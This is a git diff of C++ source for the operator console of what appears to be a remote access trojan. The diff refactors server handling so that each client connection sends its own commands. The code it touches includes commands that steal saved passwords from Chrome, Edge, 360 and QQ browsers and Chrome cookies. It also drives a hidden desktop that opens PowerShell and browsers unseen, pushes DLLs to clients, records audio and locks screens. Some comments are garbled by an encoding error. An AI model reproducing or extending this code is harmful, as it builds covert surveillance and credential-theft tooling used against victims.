diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp
index ef941c6..922c29b 100644
--- a/server/2015Remote/2015Remote.cpp
+++ b/server/2015Remote/2015Remote.cpp
@@ -22,7 +22,7 @@ CMy2015RemoteApp* GetThisApp() {
 }
 
 config& GetThisCfg() {
-	config *cfg = GetThisApp()->m_iniFile;
+	config *cfg = GetThisApp()->GetCfg();
 	return *cfg;
 }
 
@@ -77,7 +77,6 @@ CMy2015RemoteApp::CMy2015RemoteApp()
 	m_Mutex = NULL;
 	std::string masterHash(skCrypt(MASTER_HASH));
 	m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
-	m_iocpServer = new IOCPServer();
 
 	srand(static_cast<unsigned int>(time(0)));
 }
@@ -141,7 +140,7 @@ BOOL CMy2015RemoteApp::InitInstance()
 	// 例如修改为公司或组织名
 	SetRegistryKey(_T("Remoter"));
 
-	CMy2015RemoteDlg dlg(m_iocpServer);
+	CMy2015RemoteDlg dlg(nullptr);
 	m_pMainWnd = &dlg;
 	INT_PTR nResponse = dlg.DoModal();
 	if (nResponse == IDOK)
@@ -174,12 +173,8 @@ int CMy2015RemoteApp::ExitInstance()
 		CloseHandle(m_Mutex);
 		m_Mutex = NULL;
 	}
-	if (m_iocpServer != NULL)
-	{
-		m_iocpServer->Destroy();
-		delete m_iocpServer;
-		m_iocpServer = NULL;
-	}
+	Delete();
+
 	SAFE_DELETE(m_iniFile);
 
 	return CWinApp::ExitInstance();
diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h
index b7e4019..f6d7624 100644
--- a/server/2015Remote/2015Remote.h
+++ b/server/2015Remote/2015Remote.h
@@ -18,20 +18,62 @@
 
 class CMy2015RemoteApp : public CWinApp
 {
+private:
+	// 配置文件读取器
+	config* m_iniFile = nullptr;
+	// 服务端容器列表
+	std::vector<Server*> m_iocpServer;
+	// 互斥锁
+	HANDLE m_Mutex = nullptr;
+
 public:
 	CMy2015RemoteApp();
-	config  *m_iniFile;
-	HANDLE m_Mutex;
-	Server* m_iocpServer;
 
 	CImageList m_pImageList_Large;  //系统大图标
 	CImageList m_pImageList_Small;	//系统小图标
 
-// 重写
-public:
 	virtual BOOL InitInstance();
 
-// 实现
+	config* GetCfg() const {
+		return m_iniFile;
+	}
+
+	// 启动一个服务端，成功返回0
+	UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
+		auto svr = new IOCPServer();
+		UINT ret = svr->StartServer(NotifyProc, OffProc, uPort);
+		if (ret != 0) {
+			SAFE_DELETE(svr);
+			return ret;
+		}
+		m_iocpServer.push_back(svr);
+		return 0;
+	}
+
+	// 释放服务端 SOCKET
+	void Destroy() {
+		for (int i=0; i<m_iocpServer.size(); ++i)
+		{
+			m_iocpServer[i]->Destroy();
+		}
+	}
+
+	// 释放服务端指针
+	void Delete() {
+		for (int i = 0; i < m_iocpServer.size(); ++i)
+		{
+			SAFE_DELETE(m_iocpServer[i]);
+		}
+		m_iocpServer.clear();
+	}
+
+	// 更新最大连接数
+	void UpdateMaxConnection(int maxConn) {
+		for (int i = 0; i < m_iocpServer.size(); ++i)
+		{
+			m_iocpServer[i]->UpdateMaxConnection(maxConn);
+		}
+	}
 
 	DECLARE_MESSAGE_MAP()
 	virtual int ExitInstance();
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index ae5cdb8..9afb1e0 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -278,9 +278,8 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
 	return result;
 }
 
-CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
+CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
 {
-	m_iocpServer = iocpServer;
 	m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
 	m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);
 
@@ -1038,16 +1037,12 @@ void CMy2015RemoteDlg::Release(){
 	for(int Pos = 0; Pos < n; ++Pos) 
 	{
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
-		m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
+		ContextObject->Send2Client( &bToken, sizeof(BYTE));
 	}
 	LeaveCriticalSection(&m_cs);
 	Sleep(500);
 
-	if (m_iocpServer != NULL)
-	{
-		m_iocpServer->Destroy();
-		m_iocpServer = NULL;
-	}
+	THIS_APP->Destroy();
 	g_2015RemoteDlg = NULL;
 	SetEvent(m_hExit);
 	CloseHandle(m_hExit);
@@ -1449,7 +1444,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength)
 			continue;
 		}
 		// 鍙戦�佽幏寰楅┍鍔ㄥ櫒鍒楄〃鏁版嵁鍖�
-		m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
+		ContextObject->Send2Client(szBuffer, ulLength);
 	} 
 	LeaveCriticalSection(&m_cs);
 }
@@ -1485,7 +1480,7 @@ void CMy2015RemoteDlg::OnMainSet()
 	Dlg.DoModal();   //妯℃�� 闃诲
 	if (nMaxConnection != Dlg.m_nMax_Connect)
 	{
-		m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
+		THIS_APP->UpdateMaxConnection(Dlg.m_nMax_Connect);
 	}
 	int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
 	int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
@@ -1593,9 +1588,8 @@ std::vector<std::string> splitByNewline(const std::string& input) {
 
 BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
 {
-	assert(m_iocpServer);
 	UINT ret = 0;
-	if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
+	if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
 	{
 		Mprintf("======> StartServer Failed \n");
 		char cmd[200];
@@ -1735,7 +1729,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		resp[0] = 0;
 		memcpy(resp+1, &dll, sizeof(DllSendData));
 		memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
-		m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
+		ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize);
 		SAFE_DELETE_ARRAY(resp);
 		break;
 	}
@@ -1757,7 +1751,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		std::string hmac = genHMAC(hash, m_superPass);
 		memcpy(resp + 64, hmac.c_str(), hmac.length());
 		resp[80] = 0;
-		m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
+		ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
 		break;
 	}
 	case CMD_EXECUTE_DLL: // 璇锋眰DLL
@@ -1766,7 +1760,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
 			DllInfo* dll = *i;
 			if (dll->Name == info->Name) {
-				return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
+				return ContextObject->Send2Client( dll->Data->Buf(), dll->Data->length());
 			}
 		}
 		break;
@@ -1995,7 +1989,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
 		HeartbeatACK ack = { hb.Time };
 		BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
 		memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
-		m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
+		ctx->Send2Client(buf, sizeof(buf));
 	}
 
 	CLock L(m_cs);
@@ -2019,7 +2013,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
 	memcpy(buf+1, &m_settings, sizeof(MasterSettings));
 
 	if (ctx) {
-		m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
+		ctx->Send2Client(buf, sizeof(buf));
 	}
 	else {
 		EnterCriticalSection(&m_cs);
@@ -2028,7 +2022,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
 			CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
 			if (!ContextObject->bLogin)
 				continue;
-			m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
+			ContextObject->Send2Client(buf, sizeof(buf));
 		}
 		LeaveCriticalSection(&m_cs);
 	}
@@ -2043,9 +2037,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
 		char md5[33] = {};
 		memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
 		if (!buf->MD5().empty() && md5 != buf->MD5())
-			m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
+			ContextObject->Send2Client( buf->Buf(), buf->length(len<=20));
 		else {
-			m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
+			ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
 		}
 	}
 }
@@ -2207,7 +2201,7 @@ void CMy2015RemoteDlg::OnMainProxy()
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
 		BYTE cmd[] = { COMMAND_PROXY };
-		m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
+		ContextObject->Send2Client( cmd, sizeof(cmd));
 		break;
 	}
 	LeaveCriticalSection(&m_cs);
@@ -2557,7 +2551,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
 		Buffer* buf = m_DllList[menuIndex]->Data;
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
-		m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
+		ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
 	}
 	LeaveCriticalSection(&m_cs);
 }
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 2cc5807..8049f44 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -125,7 +125,7 @@ protected:
 	}
 	// 构造
 public:
-	CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL);	// 标准构造函数
+	CMy2015RemoteDlg(CWnd* pParent = NULL);	// 标准构造函数
 	~CMy2015RemoteDlg();
 	// 对话框数据
 	enum { IDD = IDD_MY2015REMOTE_DIALOG };
@@ -150,7 +150,7 @@ public:
 	template<class T, int id, int Show=SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
 	{
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
-		T* Dlg = new T(this, m_iocpServer, ContextObject);
+		T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
 		Dlg->Create(id, GetDesktopWindow());
 		Dlg->ShowWindow(Show);
 
@@ -193,7 +193,6 @@ public:
 	std::vector<DllInfo*> m_DllList;
 	NOTIFYICONDATA  m_Nid;
 	HANDLE m_hExit;
-	Server* m_iocpServer;
 	CRITICAL_SECTION m_cs;
 	BOOL       isClosed;
 	CMenu	   m_MainMenu;
diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp
index e7056d4..356d576 100644
--- a/server/2015Remote/AudioDlg.cpp
+++ b/server/2015Remote/AudioDlg.cpp
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
 	SetWindowText(strString);
 
 	BYTE bToken = COMMAND_NEXT;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 
 	//启动线程 判断CheckBox
 	m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
@@ -84,7 +84,7 @@ DWORD  CAudioDlg::WorkThread(LPVOID lParam)
 		LPBYTE	szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize);   //播放声音
 
 		if (szBuffer != NULL && dwBufferSize > 0)
-			This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头
+			This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头
 	}
 	This->m_bThreadRun = FALSE;
 
diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp
index 2547026..ab038f7 100644
--- a/server/2015Remote/Chat.cpp
+++ b/server/2015Remote/Chat.cpp
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
     m_editNewMsg.SetLimitText(4079);
     // TODO: Add extra initialization here
     BYTE bToken = COMMAND_NEXT_CHAT;
-    m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
     SetIcon(m_hIcon, TRUE);			// Set big icon
     SetIcon(m_hIcon, FALSE);		// Set small icon
 
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
         return; // 发送消息为空不处理
     }
     m_editTip.ShowWindow(SW_HIDE);
-    m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
+    m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
     SYSTEMTIME st;
     GetLocalTime(&st);
     char Text[5120] = { 0 };
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
 {
 
     BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
-    m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 }
 
 void CChat::OnBnClickedButton_UNLOCK()
 {
     BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
-    m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 }
diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp
index 08fa931..1aa1152 100644
--- a/server/2015Remote/DecryptDlg.cpp
+++ b/server/2015Remote/DecryptDlg.cpp
@@ -41,7 +41,7 @@ BOOL DecryptDlg::OnInitDialog() {
 	SetWindowText(str);
 
 	BYTE bToken = COMMAND_NEXT;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 	m_EditDecrypedResult.SetWindowTextA(CString("<<< 提示: 请在菜单选择解密类型 >>>\r\n"));
 	int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
 	m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
@@ -82,40 +82,40 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy)
 void DecryptDlg::OnDecryptChrome()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetChromePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
 void DecryptDlg::OnDecryptEdge()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
 void DecryptDlg::OnDecryptSpeed360()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
 void DecryptDlg::OnDecrypt360()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_Get360sePassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
 void DecryptDlg::OnDecryptQQ()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
 void DecryptDlg::OnDecryptChromeCookies()
 {
 	BYTE	bToken[32] = { COMMAND_LLQ_GetChromeCookies };
-	m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+	m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index 9ebcded..471ddbc 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -19,6 +19,9 @@ static UINT indicators[] =
 	ID_SEPARATOR
 };
 
+#define MAX_SEND_BUFFER		65535
+#define	MAX_RECV_BUFFER		65535
+
 typedef struct {
 	LVITEM* plvi;
 	CString sCol2;
@@ -1022,7 +1025,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
 
 	bPacket[0] = COMMAND_LIST_FILES;
 	memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
-	m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
+	m_ContextObject->Send2Client(bPacket, PacketSize);
 	LocalFree(bPacket);
 
 	m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -1481,7 +1484,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
  	bPacket[0] = COMMAND_DOWN_FILES;
  	// 文件偏移，续传时用
  	memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
-	m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);
 
 	LocalFree(bPacket);
 	// 从下载任务列表中删除自己
@@ -1538,7 +1541,7 @@ BOOL CFileManagerDlg::SendUploadJob()
 	memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
 	memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
 	
-	m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);
 
 	LocalFree(bPacket);
 
@@ -1569,7 +1572,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
 	}
 	// 文件偏移，续传时用
 	memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
-	m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+	m_ContextObject->Send2Client(bPacket, nPacketSize);
 	
 	LocalFree(bPacket);
 	// 从下载任务列表中删除自己
@@ -1749,7 +1752,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
 	else
 	{
 		// 发送继续传输文件的token,包含文件续传的偏移
-		m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+		m_ContextObject->Send2Client(bToken, sizeof(bToken));
 	}
 }
 
@@ -1822,7 +1825,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
 		dwOffsetLow += dwBytesWrite;
 		memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
 		memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
-		m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+		m_ContextObject->Send2Client(bToken, sizeof(bToken));
 	}
 }
 
@@ -1896,19 +1899,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
 void CFileManagerDlg::SendException()
 {
 	BYTE	bBuff = COMMAND_EXCEPTION;
-	m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }
 
 void CFileManagerDlg::SendContinue()
 {
 	BYTE	bBuff = COMMAND_CONTINUE;
-	m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }
 
 void CFileManagerDlg::SendStop()
 {
 	BYTE	bBuff = COMMAND_STOP;
-	m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+	m_ContextObject->Send2Client(&bBuff, 1);
 }
 
 void CFileManagerDlg::ShowProgress()
@@ -2068,7 +2071,7 @@ void CFileManagerDlg::SendTransferMode()
 	BYTE bToken[5];
 	bToken[0] = COMMAND_SET_TRANSFER_MODE;
 	memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
-	m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
+	m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken));
 }
 
 void CFileManagerDlg::SendFileData()
@@ -2113,7 +2116,7 @@ void CFileManagerDlg::SendFileData()
 	if (nNumberOfBytesRead > 0)
 	{
 		int	nPacketSize = nNumberOfBytesRead + nHeadLength;
-		m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 	}
 	LocalFree(lpBuffer);
 }
@@ -2192,7 +2195,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
 		LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
 		lpBuffer[0] = COMMAND_CREATE_FOLDER;
 		memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
-		m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 		LocalFree(lpBuffer);
 	}
 }
@@ -2259,7 +2262,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
 		memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
 		memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), 
 			strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
-		m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+		m_ContextObject->Send2Client(lpBuffer, nPacketSize);
 		LocalFree(lpBuffer);
 	}
 	*pResult = 1;
@@ -2328,7 +2331,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
 	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
 	lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
 	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
-	m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+	m_ContextObject->Send2Client(lpPacket, nPacketLength);
 	LocalFree(lpPacket);
 }
 
@@ -2342,7 +2345,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
 	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
 	lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
 	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
-	m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+	m_ContextObject->Send2Client(lpPacket, nPacketLength);
 	LocalFree(lpPacket);
 }
 
diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h
index 7bac4a7..e37998f 100644
--- a/server/2015Remote/FileManagerDlg.h
+++ b/server/2015Remote/FileManagerDlg.h
@@ -29,8 +29,6 @@ typedef struct
 #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
 
 #define	MAX_WRITE_RETRY			15 // 重试写入文件次数
-#define	MAX_SEND_BUFFER			1024 * 8 // 最大发送数据长度
-#define MAX_RECV_BUFFER			1024 * 8 // 最大接收数据长度
 
 #define WM_MY_MESSAGE (WM_USER+300)
 
diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp
index 6f91de5..cd76483 100644
--- a/server/2015Remote/HideScreenSpyDlg.cpp
+++ b/server/2015Remote/HideScreenSpyDlg.cpp
@@ -57,7 +57,7 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientC
 
 CHideScreenSpyDlg::~CHideScreenSpyDlg() {
 	m_bIsClosed = TRUE;
-	m_iocpServer->Disconnect(m_ContextObject);
+    m_ContextObject->GetServer()->Disconnect(m_ContextObject);
 	DestroyIcon(m_hIcon);
 	Sleep(200);
 	if (!m_aviFile.IsEmpty()) {
@@ -247,7 +247,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
     m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
     SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
     BYTE	bBuff = COMMAND_NEXT;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+    m_ContextObject->Send2Client(&bBuff, 1);
 #ifdef _DEBUG
     // ShowWindow(SW_MINIMIZE);
 #endif
@@ -447,7 +447,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         return;
     case IDM_SET_FLUSH: {
         BYTE	bToken = COMMAND_FLUSH_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
     }
     break;
     case IDM_CONTROL: {
@@ -498,7 +498,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
     break;
     case IDM_GET_CLIPBOARD: { // 鑾峰彇鍓创鏉�
         BYTE	bToken = COMMAND_SCREEN_GET_CLIPBOARD;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
     }
     break;
     case IDM_SET_CLIPBOARD: { // 璁剧疆鍓创鏉�
@@ -507,24 +507,24 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
     break;
     case IDM_SETSCERRN: {
         BYTE	bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
     }
     break;
     case IDM_QUALITY60: { // 娓呮櫚搴�60
         BYTE	bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
         pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
     }
     break;
     case IDM_QUALITY85: { // 娓呮櫚搴�85
         BYTE	bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
         pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
     }
     break;
     case IDM_QUALITY100: { // 娓呮櫚搴�100
         BYTE	bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(&bToken, sizeof(bToken));
         pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
     }
     break;
@@ -543,84 +543,84 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Explorer;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_run: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_run;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_Powershell: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Powershell;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_Chrome: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Chrome;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_Edge: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Edge;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_Brave: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Brave;
